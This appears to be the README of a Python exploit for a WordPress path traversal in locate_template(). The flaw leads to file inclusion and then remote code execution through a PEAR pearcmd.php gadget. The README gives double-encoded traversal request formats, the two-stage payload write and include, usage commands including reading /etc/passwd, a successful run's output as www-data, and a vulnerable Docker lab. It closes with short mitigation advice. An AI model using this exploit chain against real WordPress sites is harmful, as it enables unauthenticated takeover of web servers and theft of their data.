
Python PoCは、WordPressのlocate_template()における未認証のパストラバーサルを悪用し、LFIおよびPEARベースのRCEに至るCVE-2026-87902を、安全な検出モード付きで実証するものです。
エクスプロイトファイル: exploit_locate_template_rce.py —
Python 3.6+ (stdlib のみ)。
単一コマンドのパイプライン: 安全な検出 (LFI 差分、書き込みなし) → 脆弱な場合、
pearcmd.php ガジェット経由の RCE で任意のコマンドを実行
(--command/-c)。--validate-only を使うと書き込み段階の前で停止します。
コミット 5fde0bb7 の修正が適用されていない
WordPress バージョンで CVE-2026-87902 をテストします — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2、4.7.37 までのバックポート)。
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| 影響を受けるバージョン | WordPress 4.7.0 – 7.1.1 (全ブランチ) |
| 修正 | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| 修正コミット | 5fde0bb7b9775523959094bf280cc54bfa78af51 (changeset 63792 のマージ) |
| ファイル | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| 認証 | 不要 — ユーザー、Cookie、nonce、プラグインのいずれも不要 |
| クレジット | 発見および開示: Robert Ressl |
⚠️ 認可されたテスト専用。 あなたが管理する環境 (以下のラボは隔離されています) または所有者の明示的な許可を得た場合にのみ使用してください。
修正が適用されていないバージョンでは、get_page_template() → locate_template() →
template-loader の連鎖は、選択されたテンプレートがテーマの内部に留まることを
一切保証しません。
修正前 (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
修正後 (コミット 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename と page_id は公開クエリ変数 — 匿名 POST の body で受け付けられます。
POST メソッドでは redirect_canonical() (canonical.php) が早期リターンします —
これは GET/HEAD でのみ動作するため、何もリダイレクトされません。templates%252f%252e%252e%252f...) され、
サニタイズを通過します: WP_Query::get_posts() (l.2191) は pagename を
sanitize_title_for_query( wp_basename( ... ) ) で書き換えます — wp_basename() は %2F
で分割せず (formatting.php l.5768)、サニタイズは %XX オクテットを保持します (l.2395)。page_id (l.2252) は WHERE を上書きします ("$where ="、".=" ではない) — 実際の
ページがロードされ、404 は発生せず、悪意のある pagename はクエリオブジェクトに残ります。get_page_template() は遅延 urldecode() を行い、validate_file() なしで
page-<traversal>.php を組み立てます。locate_template() は file_exists() を呼ぶだけ → include がテーマの外に脱出します。| # | 前提条件 | 理由 |
|---|---|---|
| 1 | 公開済みページで、匿名でアクセス可能、page_id で選択可能、かつカスタムテンプレートなし | リクエストが Page に解決される必要がある。カスタムテンプレートは階層のより早い段階で来る |
| 2 | アクティブテーマ (子または親) のトップレベルディレクトリが page- で始まる (例: page-templates/) | WP は固定プレフィックス page- を前置する。トラバーサルはこれを介して入る。存在してトラバース可能であれば十分 (空でも可)。Twenty Twelve/Fourteen、Neve、Hestia、Sydney に存在 |
| 3 | 存在し読み取り可能なローカル .php ターゲット | ローダーは .php を付加し is_file()/is_readable() をチェックする |
| 4 | (RCE のみ) 読み取り可能な pearcmd.php + register_argc_argv=On + 書き込み可能ディレクトリ (例: /tmp) | PEAR→RCE ルート: config-create が PHP ペイロードをサーバーに書き込む |
公開済みページに対する 3 つの匿名 POST — ディスクへの書き込みなし:
| リクエスト | pagename | 期待される応答 (脆弱な場合) |
|---|---|---|
| A — ベースライン | — | 200、通常のボディ (~23 KB) |
| B — コントロール | traversal → 存在しないファイル | 200、通常のボディ (フォールバック page.php) |
| C — プローブ | traversal → wp-content/index.php ("Silence is golden") | 200 でボディが空 |
シグネチャ: C が空 + A/B が正常 ⇒ include がテーマの外に脱出 ⇒ 脆弱。
検出は自動的にスキャンします: 候補テーマディレクトリ
(page-templates, page-template) × 深さ 1–12。
結果 (theme-dir + depth) が RCE ステージに渡されます。
--validate-only を指定するとスクリプトはここで停止します (脆弱な場合は exit 0)。
pearcmd.php 経由の RCE (書き込み)Estágio 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ o traversal inclui /usr/local/lib/php/pearcmd.php
→ argv vem da query string crua (register_argc_argv=On)
→ config-create GRAVA o payload em /tmp/wp-pear-rce.php (12 cópias serializadas)
Estágio 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ o mesmo traversal inclui o arquivo gerado → system(<--command>) roda como www-data
フォーマットの詳細 (すべての制約はスクリプトが処理します):
page_id + pagename を運び、クエリ文字列は
もっぱら PEAR の argv を運びます (?+config-create+<root>+<out>)。wp_magic_quotes() (load.php l.1290) が
add_magic_quotes($_SERVER) を適用し、pearcmd は $_SERVER['argv'] から argv を読み取ります — 引用符は
\' になり生成ファイルを壊します。すべての PHP 文字列は chr() の連結になります:
'/tmp' → chr(47).chr(116).chr(109).chr(112)。http.client): クエリ文字列の生バイト +、<、> が
argv です — 途中で再エスケープ/再エンコードされてはなりません。config-create は絶対ルートパスを要求します — ペイロードはルート自体として注入され
(/<php>)、出力を区切るマーカー ___WP_RCE_OK___ が前置されます。pearcmd.php パス (公式 Docker、Debian/Ubuntu、XAMPP) を試します — 必要に応じて
--pear-path/--output で調整してください。「アップロード」はありません: 検出のターゲットはすべての WordPress が標準で備える
ファイル (wp-content/index.php) であり、RCE のペイロードは PEAR ガジェットを介して
サーバー自身によって書き込まれ、www-data として実行されます。
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose
| パラメータ | デフォルト | 説明 |
|---|---|---|
--url, -u | (必須) | WordPress のベース URL |
--command, -c | id | ターゲットで実行されるシェルコマンド (--validate-only では無視) |
--validate-only | off | 脆弱性のみを検証 (LFI、RCE/書き込みの前で停止) |
--page-id | auto (REST, fallback probe) | カスタムテンプレートなしの公開済みページの ID |
--theme-dir | page-templates, page-template を試行 | page- で始まるテーマのトップレベルディレクトリ |
--probe-target | index | 検出プローブのターゲット、.php なし (index → wp-content/index.php) |
--depth | 0 (1–12 をスキャン) | ../ セグメントの数 |
--pear-path | 内部リストを試行 | RCE ステージの pearcmd.php、.php なし (Docker, Debian, XAMPP) |
--output | /tmp/wp-pear-rce | PEAR ペイロードの書き込み可能な宛先、.php なし |
--timeout | 20 | リクエストごとのタイムアウト (秒) |
--insecure | off | TLS 証明書を検証しない |
--verbose | off | 試行ごとの詳細出力 |
[*] alvo : http://127.0.0.1:8080
[*] comando : 'id'
[*] versão WP : 7.1.1 (<= 7.1.1 => potencialmente afetada)
[*] page id : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir : page-templates
[+] depth : 3
[+] traversal : page-templates/../../../index.php
[+] VULNERÁVEL : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo : RCE (2 estágios via pearcmd.php)
[+] theme dir : page-templates
[+] depth : 7
[+] pearcmd : /usr/local/lib/php/pearcmd.php
[+] payload file : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando : 'id'
[+] saída :
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web
終了コード: 0 = 検証/RCE 成功 · 1 = 未確認/失敗 ·
2 = エラー (例: 公開済みページが見つからない)。回帰チェックとして機能します:
WordPress ≥ 7.1.2 ではプローブが空になることはなく、1 を返します。
使用したラボ: docker-compose.yml。
services:
db:
image: mariadb:11
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wp_user
MYSQL_PASSWORD: wp_pass
MYSQL_ROOT_PASSWORD: root_pass
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:7.1.1-php8.3-apache # PINADA — a rolling baixa 7.1.2+ (patcheada!)
depends_on:
- db
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wp_user
WORDPRESS_DB_PASSWORD: wp_pass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_data:/var/www/html
# fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
- ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates
volumes:
db_data:
wp_data:
docker compose up -d
# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
-e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
-e WORDPRESS_DB_NAME=wordpress `
wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
--admin_user=admin --admin_password=adminadmin [email protected] --skip-email
# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"
# Teardown
docker compose down -v
各部分が重要な理由:
7.1.1-php8.3: < 7.1.2 かつ php8.3 である必要があります — PHP 8.5 では、
register_argc_argv が HTTP SAPI でデフォルト Off になり、PEAR はディストリビューションから
削除されたため、RCE ステージは機能しません (LFI 検出は機能します)。wordpress:php8.3-apache は現在 7.1.2+ (パッチ済み) をダウンロードし、
エクスプロイトは正しく失敗します。wp_data ボリュームがコアを永続化します。タグを変更するには
docker compose down -v が必要で、entrypoint が新しいイメージのファイルを再コピーします。page-templates/ (フィクスチャ): デフォルトテーマ (Twenty Twenty-*) には page-*
ディレクトリがありません — これがないと固定プレフィックス page- が解決されず、どの depth も機能しません。
bind mount の代替: command: > で
sh -c "mkdir -p .../page-templates && exec apache2-foreground"。register_argc_argv=On: 公式イメージは web 用 php.ini をロードしないため、コンパイル時の
デフォルト (php8.3 では On) が有効です。確認: docker exec <c> php -i | grep argc。page-templates/ → 3×.. → wp-content/)。
PEAR は 7 で的中 (→ / → /usr/local/lib/php/pearcmd.php)。page-* がない、ページにカスタムテンプレートがある、
open_basedir、WAF/プロキシがトラバーサルをブロック、無効な page_id)。register_argc_argv=Off にする。本番環境で読み取り可能な pearcmd.php を削除する。テーマの
トップレベル page-* ディレクトリを監査する。%252f/%252e (二重エンコード) を含む
pagename をログで警告する。.php は
どれでも LFI のターゲットになり得ます (--probe-target による検出)。5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792この資料は認可されたセキュリティ研究およびテストのみを目的として提供されています。 所有者の明示的な許可なくシステムに対して使用することは違法です。エクスプロイトは 隔離されたローカルラボでのみ開発および検証されました。